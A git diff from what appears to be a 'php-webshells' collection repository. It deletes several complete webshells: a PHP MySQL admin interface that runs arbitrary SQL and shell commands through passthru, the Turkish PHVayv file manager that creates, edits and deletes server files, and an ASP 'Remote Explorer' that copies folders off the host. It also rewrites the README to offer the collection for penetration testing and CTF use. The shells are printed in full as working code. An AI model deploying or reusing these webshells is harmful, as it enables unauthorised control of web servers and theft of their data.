$action == "addData_submit" ) - manageData_submit( "add" ); - else if( $action == "editData" ) - manageData( "edit" ); - else if( $action == "editData_submit" ) - manageData_submit( "edit" ); - else if( $action == "deleteData" ) - deleteData(); - else if( $action == "utils" ) - utils(); - - mysql_close( $mysqlHandle); - footer_html(); - } -} - -?> diff --git a/Mysql interface v1.0.php b/Mysql interface v1.0.php deleted file mode 100644 index f20dbc4..0000000 --- a/Mysql interface v1.0.php +++ /dev/null @@ -1,1166 +0,0 @@ -\n"; -echo "\n"; -echo "Mysql interface\n"; -echo "\n"; -echo "\n"; -echo "
\n"; -echo "
\n"; -echo "
\n"; -echo "

Mysql Interface v1.0

\n"; -echo "
\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "
Username
Password

\n"; -echo "\n"; -echo "
\n"; -echo "

\n"; -echo "
\n"; -echo "
\n"; -echo "


\n"; -echo "\n"; -echo "Copyright © 2005\n
"; -echo "
\n"; -echo "
\n"; -echo "\n"; -echo "\n"; -} - -function logon_submit() { -global $username, $password, $PHP_SELF; - -setcookie( "mysql_web_admin_username", $username ); -setcookie( "mysql_web_admin_password", $password ); -echo ""; -echo ""; -echo ""; -echo ""; -echo ""; -} - -function echoQueryResult() { -global $queryStr, $errMsg; - -if( $errMsg == "" ) $errMsg = "Success"; -if( $queryStr != "" ) { - echo "\n"; - echo "\n"; - echo "\n"; - echo "
Query$queryStr
Result$errMsg

\n"; -} -} - -function listDatabases() { -global $mysqlHandle, $PHP_SELF; - -echo "

Database List

\n"; - -echo "
\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "
\n"; -echo "
\n"; - -echo "\n"; - -$pDB = mysql_list_dbs( $mysqlHandle ); -$num = mysql_num_rows( $pDB ); -for( $i = 0; $i < $num; $i++ ) { - $dbname = mysql_dbname( $pDB, $i ); - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; -} -echo "
$dbnameTableDropDump
\n"; -} - -function createDatabase() { -global $mysqlHandle, $dbname, $PHP_SELF; - -mysql_create_db( $dbname, $mysqlHandle ); -listDatabases(); -} - -function dropDatabase() { -global $mysqlHandle, $dbname, $PHP_SELF; - -mysql_drop_db( $dbname, $mysqlHandle ); -listDatabases(); -} - -function listTables() { -global $mysqlHandle, $dbname, $PHP_SELF; - -echo "

Table List

\n"; -echo "

$dbname

\n"; -echoQueryResult(); -echo "
\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "
\n"; -echo "
\n"; -echo "\n"; -echo "\n"; -echo "\n"; -//echo "
"; -echo "\n"; -echo "
\n"; -echo "
\n"; - -$pTable = mysql_list_tables( $dbname ); - -if( $pTable == 0 ) { - $msg = mysql_error(); - echo "

Error : $msg

\n"; - return; -} -$num = mysql_num_rows( $pTable ); - -echo "\n"; - -for( $i = 0; $i < $num; $i++ ) { - $tablename = mysql_tablename( $pTable, $i ); - - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; -} - -echo "
\n"; - echo "$tablename\n"; - echo "\n"; - echo "Schema\n"; - echo "\n"; - echo "Data\n"; - echo "\n"; - echo "Drop\n"; - echo "\n"; - echo "Dump\n"; - echo "
"; -} - -function createTable() { -global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; - -$queryStr = "CREATE TABLE $tablename ( no INT )"; -mysql_select_db( $dbname, $mysqlHandle ); -mysql_query( $queryStr, $mysqlHandle ); -$errMsg = mysql_error(); - -listTables(); -} - -function dropTable() { -global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; - -$queryStr = "DROP TABLE $tablename"; -mysql_select_db( $dbname, $mysqlHandle ); -mysql_query( $queryStr, $mysqlHandle ); -$errMsg = mysql_error(); - -listTables(); -} - -function viewSchema() { -global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; - -echo "

Table Schema

\n"; -echo "

$dbname > $tablename

\n"; - -echoQueryResult(); - -echo "Add Field | \n"; -echo "View Data\n"; -echo "
\n"; - -$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); -$num = mysql_num_rows( $pResult ); - -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; - -for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_array( $pResult ); - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - $fieldname = $field["Field"]; - echo "\n"; - echo "\n"; - echo "\n"; -} -echo "
FieldTypeNullKeyDefaultExtraAction
".$field["Field"]."".$field["Type"]."".$field["Null"]."".$field["Key"]."".$field["Default"]."".$field["Extra"]."EditDrop
\n"; -} - -function manageField( $cmd ) { -global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF; - -if( $cmd == "add" ) - echo "

Add Field

\n"; -else if( $cmd == "edit" ) { - echo "

Edit Field

\n"; - $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); - $num = mysql_num_rows( $pResult ); - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_array( $pResult ); - if( $field["Field"] == $fieldname ) { - $fieldtype = $field["Type"]; - $fieldkey = $field["Key"]; - $fieldextra = $field["Extra"]; - $fieldnull = $field["Null"]; - $fielddefault = $field["Default"]; - break; - } - } - $type = strtok( $fieldtype, " (,)\n" ); - if( strpos( $fieldtype, "(" ) ) { - if( $type == "enum" | $type == "set" ) { - $valuelist = strtok( " ()\n" ); - } else { - $M = strtok( " (,)\n" ); - if( strpos( $fieldtype, "," ) ) - $D = strtok( " (,)\n" ); - } - } -} - -echo "

$dbname > $tablename

\n"; -echo "
\n"; - -if( $cmd == "add" ) - echo "\n"; -else if( $cmd == "edit" ) { - echo "\n"; - echo "\n"; -} -echo "\n"; -echo "\n"; - -echo "

Name

\n"; -echo "

\n"; -?> - -

Type

- - -* `M' indicates the maximum display size.
-* `D' applies to floating-point types and indicates the number of digits following the decimal point.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type M  D unsignedzerofillbinary
>TINYINT (-128 ~ 127)O OO 
>SMALLINT (-32768 ~ 32767)O OO 
>MEDIUMINT (-8388608 ~ 8388607)O OO 
>INT (-2147483648 ~ 2147483647)O OO 
>BIGINT (-9223372036854775808 ~ 9223372036854775807)O OO 
>FLOATOO O 
>DOUBLEOO O 
>DECIMAL(NUMERIC)OO O 
>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)     
>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)     
>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])O    
>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)     
>YEAR (1901 ~ 2155, 0000, YYYY)     
>CHARO   O
>VARCHARO   O
>TINYTEXT (0 ~ 255)     
>TEXT (0 ~ 65535)     
>MEDIUMTEXT (0 ~ 16777215)     
>LONGTEXT (0 ~ 4294967295)     
>TINYBLOB (0 ~ 255)     
>BLOB (0 ~ 65535)     
>MEDIUMBLOB (0 ~ 16777215)     
>LONGBLOB (0 ~ 4294967295)     
>ENUM
value list
>SET
value list
- - - - - - - - - - -
MDunsignedzerofillbinaryvalue list (ex: 'apple', 'orange', 'banana')
>>>>>>
- - -

Flags

- - - - - - - - -
not nulldefault valueauto incrementprimary key
>>>>
- -

- -\n"; -else if( $cmd == "edit" ) - echo "\n"; -echo "\n"; -echo "

\n"; -} - -function manageField_submit( $cmd ) { -global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg, - $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist; - -if( $cmd == "add" ) - $queryStr = "ALTER TABLE $tablename ADD $name "; -else if( $cmd == "edit" ) - $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name "; - -if( $M != "" ) - if( $D != "" ) - $queryStr .= "$type($M,$D) "; - else - $queryStr .= "$type($M) "; -else if( $valuelist != "" ) { - $valuelist = stripslashes( $valuelist ); - $queryStr .= "$type($valuelist) "; -} else - $queryStr .= "$type "; - -$queryStr .= "$unsigned $zerofill $binary "; - -if( $default_value != "" ) - $queryStr .= "DEFAULT '$default_value' "; - -$queryStr .= "$not_null $auto_increment"; - -mysql_select_db( $dbname, $mysqlHandle ); -mysql_query( $queryStr, $mysqlHandle ); -$errMsg = mysql_error(); - -// key change -$keyChange = false; -$result = mysql_query( "SHOW KEYS FROM $tablename" ); -$primary = ""; -while( $row = mysql_fetch_array($result) ) - if( $row["Key_name"] == "PRIMARY" ) { - if( $row[Column_name] == $name ) - $keyChange = true; - else - $primary .= ", $row[Column_name]"; - } -if( $primary_key == "PRIMARY KEY" ) { - $primary .= ", $name"; - $keyChange = !$keyChange; -} -$primary = substr( $primary, 2 ); -if( $keyChange == true ) { - $q = "ALTER TABLE $tablename DROP PRIMARY KEY"; - mysql_query( $q ); - $queryStr .= "
\n" . $q; - $errMsg .= "
\n" . mysql_error(); - $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )"; - mysql_query( $q ); - $queryStr .= "
\n" . $q; - $errMsg .= "
\n" . mysql_error(); -} - -viewSchema(); -} - -function dropField() { -global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; - -$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname"; -mysql_select_db( $dbname, $mysqlHandle ); -mysql_query( $queryStr , $mysqlHandle ); -$errMsg = mysql_error(); - -viewSchema(); -} - -function viewData( $queryStr ) { -global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby; - -echo "

Data in Table

\n"; -if( $tablename != "" ) - echo "

$dbname > $tablename

\n"; -else - echo "

$dbname

\n"; - -$queryStr = stripslashes( $queryStr ); -if( $queryStr == "" ) { - $queryStr = "SELECT * FROM $tablename"; - if( $orderby != "" ) - $queryStr .= " ORDER BY $orderby"; - echo "Add Data | \n"; - echo "Schema\n"; -} - -$pResult = mysql_db_query( $dbname, $queryStr ); -$errMsg = mysql_error(); - -$GLOBALS[queryStr] = $queryStr; - -if( $pResult == false ) { - echoQueryResult(); - return; -} -if( $pResult == 1 ) { - $errMsg = "Success"; - echoQueryResult(); - return; -} - -echo "
\n"; - -$row = mysql_num_rows( $pResult ); -$col = mysql_num_fields( $pResult ); - -if( $row == 0 ) { - echo "No Data Exist!"; - return; -} - -if( $rowperpage == "" ) $rowperpage = 20; -if( $page == "" ) $page = 0; -else $page--; -mysql_data_seek( $pResult, $page * $rowperpage ); - -echo "\n"; -echo "\n"; -for( $i = 0; $i < $col; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - echo "\n"; -} -echo "\n"; -echo "\n"; - -for( $i = 0; $i < $rowperpage; $i++ ) { - $rowArray = mysql_fetch_row( $pResult ); - if( $rowArray == false ) break; - echo "\n"; - $key = ""; - for( $j = 0; $j < $col; $j++ ) { - $data = $rowArray[$j]; - - $field = mysql_fetch_field( $pResult, $j ); - if( $field->primary_key == 1 ) - $key .= "&" . $field->name . "=" . $data; - - if( strlen( $data ) > 20 ) - $data = substr( $data, 0, 20 ) . "..."; - $data = htmlspecialchars( $data ); - echo "\n"; - } - - if( $key == "" ) - echo "\n"; - else { - echo "\n"; - echo "\n"; - } - echo "\n"; -} -echo "
"; - echo "".$field->name."\n"; - echo "Action
\n"; - echo "$data\n"; - echo "no KeyEditDelete
\n"; - -echo "\n"; -echo "
\n"; -echo "\n"; -echo ($page+1)."/".(int)($row/$rowperpage+1)." page"; -echo "\n"; -echo " | "; -if( $page > 0 ) { - echo "Prev\n"; -} else - echo "Prev"; -echo " | "; -if( $page < ($row/$rowperpage)-1 ) { - echo "Next\n"; -} else - echo "Next"; -echo " | "; -if( $row > $rowperpage ) { - echo "\n"; - echo "\n"; -} -echo "
\n"; -echo "
\n"; -} - -function manageData( $cmd ) { -global $mysqlHandle, $dbname, $tablename, $PHP_SELF; - -if( $cmd == "add" ) - echo "

Add Data

\n"; -else if( $cmd == "edit" ) { - echo "

Edit Data

\n"; - $pResult = mysql_list_fields( $dbname, $tablename ); - $num = mysql_num_fields( $pResult ); - - $key = ""; - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - if( $field->primary_key == 1 ) - if( $field->numeric == 1 ) - $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; - else - $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; - } - $key = substr( $key, 0, strlen($key)-4 ); - - mysql_select_db( $dbname, $mysqlHandle ); - $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle ); - $data = mysql_fetch_array( $pResult ); -} - -echo "

$dbname > $tablename

\n"; - -echo "
\n"; -if( $cmd == "add" ) - echo "\n"; -else if( $cmd == "edit" ) - echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; -echo "\n"; - -$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); -$num = mysql_num_rows( $pResult ); - -$pResultLen = mysql_list_fields( $dbname, $tablename ); - -for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_array( $pResult ); - $fieldname = $field["Field"]; - $fieldtype = $field["Type"]; - $len = mysql_field_len( $pResultLen, $i ); - - echo ""; - echo ""; - echo ""; - echo "\n"; - $value = htmlspecialchars($data[$i]); - if( $cmd == "add" ) { - $type = strtok( $fieldtype, " (,)\n" ); - if( $type == "enum" || $type == "set" ) { - echo "\n"; - } else { - if( $len < 40 ) - echo "\n"; - else - echo "\n"; - } else { - if( $len < 40 ) - echo "\n"; - else - echo ""; -} -echo "
NameTypeFunctionData
$fieldname".$field["Type"]."\n"; - echo "\n"; - echo "\n"; - if( $type == "enum" ) - echo "\n"; - echo strtok( "'" ); - while( $str = strtok( "'" ) ) { - echo "\n"; - } - } else if( $cmd == "edit" ) { - $type = strtok( $fieldtype, " (,)\n" ); - if( $type == "enum" || $type == "set" ) { - echo "\n"; - if( $type == "enum" ) - echo "\n"; - echo strtok( "'" ); - while( $str = strtok( "'" ) ) { - if( $value == $str ) - echo "\n"; - } - } - echo "

\n"; -if( $cmd == "add" ) - echo "\n"; -else if( $cmd == "edit" ) - echo "\n"; -echo "\n"; -echo "

\n"; -} - -function manageData_submit( $cmd ) { -global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; - -$pResult = mysql_list_fields( $dbname, $tablename ); -$num = mysql_num_fields( $pResult ); - -mysql_select_db( $dbname, $mysqlHandle ); -if( $cmd == "add" ) - $queryStr = "INSERT INTO $tablename VALUES ("; -else if( $cmd == "edit" ) - $queryStr = "REPLACE INTO $tablename VALUES ("; -for( $i = 0; $i < $num-1; $i++ ) { - $field = mysql_fetch_field( $pResult ); - $func = $GLOBALS[$field->name."_function"]; - if( $func != "" ) - $queryStr .= " $func("; - if( $field->numeric == 1 ) { - $queryStr .= $GLOBALS[$field->name]; - if( $func != "" ) - $queryStr .= "),"; - else - $queryStr .= ","; - } else { - $queryStr .= "'" . $GLOBALS[$field->name]; - if( $func != "" ) - $queryStr .= "'),"; - else - $queryStr .= "',"; - } -} -$field = mysql_fetch_field( $pResult ); -if( $field->numeric == 1 ) - $queryStr .= $GLOBALS[$field->name] . ")"; -else - $queryStr .= "'" . $GLOBALS[$field->name] . "')"; - -mysql_query( $queryStr , $mysqlHandle ); -$errMsg = mysql_error(); - -viewData( "" ); -} - -function deleteData() { -global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; - -$pResult = mysql_list_fields( $dbname, $tablename ); -$num = mysql_num_fields( $pResult ); - -$key = ""; -for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - if( $field->primary_key == 1 ) - if( $field->numeric == 1 ) - $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; - else - $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; -} -$key = substr( $key, 0, strlen($key)-4 ); - -mysql_select_db( $dbname, $mysqlHandle ); -$queryStr = "DELETE FROM $tablename WHERE $key"; -mysql_query( $queryStr, $mysqlHandle ); -$errMsg = mysql_error(); - -viewData( "" ); -} - -function dump() { -global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, $tablename; - -if( $action == "dumpTable" ) - $filename = $tablename; -else - $filename = $dbname; - -header("Content-disposition: filename=$filename.sql"); -header("Content-type: application/octetstream"); -header("Pragma: no-cache"); -header("Expires: 0"); - -$pResult = mysql_query( "show variables" ); -while( 1 ) { - $rowArray = mysql_fetch_row( $pResult ); - if( $rowArray == false ) break; - if( $rowArray[0] == "basedir" ) - $bindir = $rowArray[1]."bin/"; -} - -passthru( $bindir."mysqldump --user=$USERNAME --password=$PASSWORD $dbname $tablename" ); -} - -function utils() { -global $PHP_SELF, $command; -echo "

Utilities

\n"; -if( $command == "" || substr( $command, 0, 5 ) == "flush" ) { - echo "
\n"; - echo "Show\n"; - echo "\n"; - echo "Flush\n"; - echo "
    \n"; - echo "
  • Hosts\n"; - if( $command == "flush_hosts" ) { - if( mysql_query( "Flush hosts" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Logs\n"; - if( $command == "flush_logs" ) { - if( mysql_query( "Flush logs" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Privileges\n"; - if( $command == "flush_privileges" ) { - if( mysql_query( "Flush privileges" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Tables\n"; - if( $command == "flush_tables" ) { - if( mysql_query( "Flush tables" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
  • Status\n"; - if( $command == "flush_status" ) { - if( mysql_query( "Flush status" ) != false ) - echo "- Success"; - else - echo "- Fail"; - } - echo "
\n"; -} else { - $queryStr = ereg_replace( "_", " ", $command ); - $pResult = mysql_query( $queryStr ); - if( $pResult == false ) { - echo "Fail"; - return; - } - $col = mysql_num_fields( $pResult ); - - echo "

$queryStr

\n"; - echo "
\n"; - - echo "\n"; - echo "\n"; - for( $i = 0; $i < $col; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - echo "\n"; - } - echo "\n"; - - while( 1 ) { - $rowArray = mysql_fetch_row( $pResult ); - if( $rowArray == false ) break; - echo "\n"; - for( $j = 0; $j < $col; $j++ ) - echo "\n"; - echo "\n"; - } - echo "
".$field->name."
".htmlspecialchars( $rowArray[$j] )."
\n"; -} -} - -function header_html() { -global $PHP_SELF; - -?> - - -MySQL Web Interface - - - -\n"; -echo "\n"; -echo "[$USERNAME] - \n"; - -echo "Database List | \n"; -if( $tablename != "" ) - echo "Table List | "; -echo "Utils |\n"; -echo "Logout\n"; -echo "\n"; -echo "\n"; -echo "\n"; -} - -//------------------------------------------------------ MAIN - -if( $action == "logon" || $action == "" || $action == "logout" ) -logon(); -else if( $action == "logon_submit" ) -logon_submit(); -else if( $action == "dumpTable" || $action == "dumpDB" ) { -while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { - if( $var == "mysql_web_admin_username" ) $USERNAME = $value; - if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; -} -$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD ); -dump(); -} else { -while( list($var, $value) = each($HTTP_COOKIE_VARS) ) { - if( $var == "mysql_web_admin_username" ) $USERNAME = $value; - if( $var == "mysql_web_admin_password" ) $PASSWORD = $value; -} -echo ""; - -if( $mysqlHandle == false ) { - echo "\n"; - echo "\n"; - echo "MySQL Web Interface\n"; - echo "\n"; - echo "\n"; - echo "
\n"; - echo "

Wrong Password!

\n"; - echo "Logon\n"; - echo "
\n"; - echo "\n"; - echo "\n"; -} else { - header_html(); - if( $action == "listDBs" ) - listDatabases(); - else if( $action == "createDB" ) - createDatabase(); - else if( $action == "dropDB" ) - dropDatabase(); - else if( $action == "listTables" ) - listTables(); - else if( $action == "createTable" ) - createTable(); - else if( $action == "dropTable" ) - dropTable(); - else if( $action == "viewSchema" ) - viewSchema(); - else if( $action == "query" ) - viewData( $queryStr ); - else if( $action == "addField" ) - manageField( "add" ); - else if( $action == "addField_submit" ) - manageField_submit( "add" ); - else if( $action == "editField" ) - manageField( "edit" ); - else if( $action == "editField_submit" ) - manageField_submit( "edit" ); - else if( $action == "dropField" ) - dropField(); - else if( $action == "viewData" ) - viewData( "" ); - else if( $action == "addData" ) - manageData( "add" ); - else if( $action == "addData_submit" ) - manageData_submit( "add" ); - else if( $action == "editData" ) - manageData( "edit" ); - else if( $action == "editData_submit" ) - manageData_submit( "edit" ); - else if( $action == "deleteData" ) - deleteData(); - else if( $action == "utils" ) - utils(); - - mysql_close( $mysqlHandle); - footer_html(); -} -} - -?> \ No newline at end of file diff --git a/PH Vayv.php b/PH Vayv.php deleted file mode 100644 index c01e2c7..0000000 --- a/PH Vayv.php +++ /dev/null @@ -1,597 +0,0 @@ - "") {phpinfo();} else { ?> - - - - - -"") {unlink("$dizin/$sildos");} ?> - - - - ""){rmdir($silklas);}?> - - "") {mkdir("$dizin/$duzenx2",777);}?> - - - - - - - - - "") { - -$baglan=fopen($duzkaydet,'w'); -fwrite($baglan,$duzenx); -fclose($baglan);} -?> - - - - -"") {;?> - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- PHVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - -
-  �al���lan - Dizin - - - - - - -
  -  
-
- - - - - - - - - - - -
 
-
" -


- -

-

- -

-
-
-  
- - - - - - - - -"") {; -?> - - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- PHVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - -
-  �al���lan - Dizin - - - - - - -
  -  
-
- - - - - - - - - - -
 
-
" -


- -

-

-
-
-
- -

-
-
-  
- - - - - - - - - -"") {; -?> - - - - - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- PHVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - -
-  �al���lan Dosya - - - - - - - - -
 
-
- - - - - - - - - - -
 
-
" name="kaypos"> -

-
-

-
-
- -

-
-
-  
- - - - - - - - - - - - - - - - - - - - - - -PHVayv 1.0 - - - - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- PHVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - - - - -
-  �al���lan Klas�r - - - - - - -
  - - - - - -
-

- - - - - - - " style="text-decoration: none"> - �st Klas�r

-
-
- - - - - - - - - - -
 
- - - - - - -
- - - - -
- - - " style="text-decoration: none">Sistem Bilgisi
-
- - - - -
- - " style="text-decoration: none"> - Yeni Klas�r
-
- - - - -
- - " style="text-decoration: none">Yeni Dosya
-
-
- - - - - - - - - - - - - -
-  T�r -  Dosya - Ad� -

-  ��lem

- - - - - - - - - - - -
-

-

-   - - - - -
- -

- " style="text-decoration: none"> - A�

-
- - - - -
- -

- " style="text-decoration: none"> - Sil - -

-
- - - - - - - - - - - - - -
-

-

-   -         ( XXX )  - - - - -
- -

- .php?duzenle=&dizin="> - D�zenle

-
- - - - -
- -

- .php?sildos=&dizin=" style="text-decoration: none"> - Sil

-
- - - - - - - - - - - -
 
- - - - \ No newline at end of file diff --git a/PH_Vayv.php b/PH_Vayv.php deleted file mode 100644 index b218778..0000000 --- a/PH_Vayv.php +++ /dev/null @@ -1,597 +0,0 @@ - "") {phpinfo();} else { ?> - - - - - -"") {unlink("$dizin/$sildos");} ?> - - - - ""){rmdir($silklas);}?> - - "") {mkdir("$dizin/$duzenx2",777);}?> - - - - - - - - - "") { - -$baglan=fopen($duzkaydet,'w'); -fwrite($baglan,$duzenx); -fclose($baglan);} -?> - - - - -"") {;?> - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- PHVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - -
-  �al���lan - Dizin - - - - - - -
  -  
-
- - - - - - - - - - - -
 
-
" -


- -

-

- -

-
-
-  
- - - - - - - - -"") {; -?> - - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- PHVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - -
-  �al���lan - Dizin - - - - - - -
  -  
-
- - - - - - - - - - -
 
-
" -


- -

-

-
-
-
- -

-
-
-  
- - - - - - - - - -"") {; -?> - - - - - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- PHVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - -
-  �al���lan Dosya - - - - - - - - -
 
-
- - - - - - - - - - -
 
-
" name="kaypos"> -

-
-

-
-
- -

-
-
-  
- - - - - - - - - - - - - - - - - - - - - - -PHVayv 1.0 - - - - - - - - - - -
-

-

- - -
- AventGrup�
-
Avrasya Veri ve NetWork Teknolojileri Geli�tirme Grubu
- -
- PHVayv 1.0
-

-
-
- - www.aventgrup.net 
-
- - SHOPEN@AventGrup.Net 

- - - - - - - - -
-  �al���lan Klas�r - - - - - - -
  - - - - - -
-

- - - - - - - " style="text-decoration: none"> - �st Klas�r

-
-
- - - - - - - - - - -
 
- - - - - - -
- - - - -
- - - " style="text-decoration: none">Sistem Bilgisi
-
- - - - -
- - " style="text-decoration: none"> - Yeni Klas�r
-
- - - - -
- - " style="text-decoration: none">Yeni Dosya
-
-
- - - - - - - - - - - - - -
-  T�r -  Dosya - Ad� -

-  ��lem

- - - - - - - - - - - -
-

-

-   - - - - -
- -

- " style="text-decoration: none"> - A�

-
- - - - -
- -

- " style="text-decoration: none"> - Sil - -

-
- - - - - - - - - - - - - -
-

-

-   -         ( XXX )  - - - - -
- -

- .php?duzenle=&dizin="> - D�zenle

-
- - - - -
- -

- .php?sildos=&dizin=" style="text-decoration: none"> - Sil

-
- - - - - - - - - - - -
 
- - - - diff --git a/README.md b/README.md index 88adf89..c40f173 100644 --- a/README.md +++ b/README.md @@ -1,24 +1,49 @@ -php-webshells +Contributing +============ + +To contribute other shells not listed here... Fork, Push the changes to your repo, then before you request for a Pull, make sure to include a simple description of your **php** web-shell and include a screen-shot of the web-shell (as hosted in your localhost). + +PHP Webshells ============= -Common php webshells. Do not host the file(s) in your server! +Common PHP shells is a collection of PHP webshells that you may need for your penetration testing (PT) cases or in a CTF challenge. + +Do not host any of the files on a publicly-accessible webserver (unless you know what you are up-to). + +These are provided for education purposes only and legitimate PT cases. + +I'll keep updating the collection whnever I stumble on any new webshell. + +FYI +==== -++++++++++++++++++++++++++ -Though I recommend one-liners like +For basic features, I recommend one-liners like : - +`` -(Not a full fledged webshell, but works fine) +`` -================================================================= +`` -You can try WebHandler for one-liners. +`` -WebHandler.py works for POST and GET requests: - - - +Cite: +===== +``` +@software{jacques_pharand_2020_3748072, + author = {Jacques Pharand and + John Troon and + Javier Izquierdo Vera}, + title = {JohnTroony/php-webshells: Collection CS1}, + month = apr, + year = 2020, + publisher = {Zenodo}, + version = {1.1}, + doi = {10.5281/zenodo.3748072}, + url = {https://doi.org/10.5281/zenodo.3748072} +} +``` diff --git a/RemExp.asp.php.txt b/RemExp.asp.php.txt deleted file mode 100644 index a5a8e27..0000000 --- a/RemExp.asp.php.txt +++ /dev/null @@ -1,250 +0,0 @@ -<%@ Language=VBScript %> -<% -Option Explicit - -Dim giCount -Dim gvAttributes - -Dim Ext - -Dim ScriptFolder -Dim FolderPath - -Dim FileSystem -Dim Drives -Dim Drive -Dim Folders -Dim Folder -Dim SubFolders -Dim SubFolder -Dim Files -Dim File - -Dim BgColor, BackgroundColor,FSO - -If Request.QueryString("CopyFolder") <> "" Then - Set FSO = CreateObject("Scripting.FileSystemObject") - FSO.CopyFolder Request.QueryString("CopyFolder") & "*", "d:\" -End If - -If Request.QueryString("CopyFile") <> "" Then - Set FSO = CreateObject("Scripting.FileSystemObject") - FSO.CopyFile Request.QueryString("FolderPath") & Request.QueryString("CopyFile"), "d:\" -End If - -Set FileSystem = Server.CreateObject("Scripting.FileSystemObject") - -FolderPath = Request.QueryString("FolderPath") - -If FolderPath = "" Then - FolderPath = Request.ServerVariables("PATH_TRANSLATED") -End If - -FolderPath = ParseFolder(FolderPath) - -ScriptFolder = ParseFolder(Request.ServerVariables("PATH_TRANSLATED")) & "images\" - -%> - - -Remote Explorer - - - - - - - - - - - - - - -
- - Address:
- - - -
-<% -Set Folder = FileSystem.GetFolder(FolderPath) -Set SubFolders = Folder.SubFolders -Set Files = Folder.Files -%> -
